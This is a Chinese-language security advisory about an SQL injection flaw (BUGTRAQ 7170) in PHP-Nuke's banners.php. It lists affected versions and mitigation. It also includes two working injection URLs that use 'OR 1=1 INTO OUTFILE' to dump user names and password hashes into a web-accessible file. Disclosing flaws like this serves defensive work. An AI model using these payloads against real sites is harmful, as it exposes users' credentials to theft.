发布日期：2003-03-22
更新日期：2003-03-27

受影响系统：

Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 5.6

描述：

---

BUGTRAQ  ID: 7170

PHP-Nuke是一个广为流行的网站创建和管理工具，它可以使用很多数据库软件作为后端，比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke Banners.PHP对用户提交的输入缺少正确验证，远程攻击者可以利用这个漏洞访问敏感信息，并通过WEB下载。

攻击者提交恶意字符串给banners.php脚本的login或者cid参数，可以导致修改原来的SQL逻辑，破坏数据，或者写敏感信息到任意文件并通过WEB下载。

<*来源：Frog Man （leseulfrog@hotmail.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Frog Man （leseulfrog@hotmail.com）提供了如下测试方法：

下面的方法可以把id、name及加密密码信息写到文件中：

http://www.example.com/banners1.txt :
http://www.example.com/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt

下面的方法保存加密密码到http://[target]/banners2.txt中：

http://www.example.com/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* "Frog Man" <leseulfrog@hotmail.com>提供第三方补丁程序：

http://www.phpsecure.info.

厂商补丁：

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.phpnuke.org

浏览次数：3632
严重程度：0（网友投票）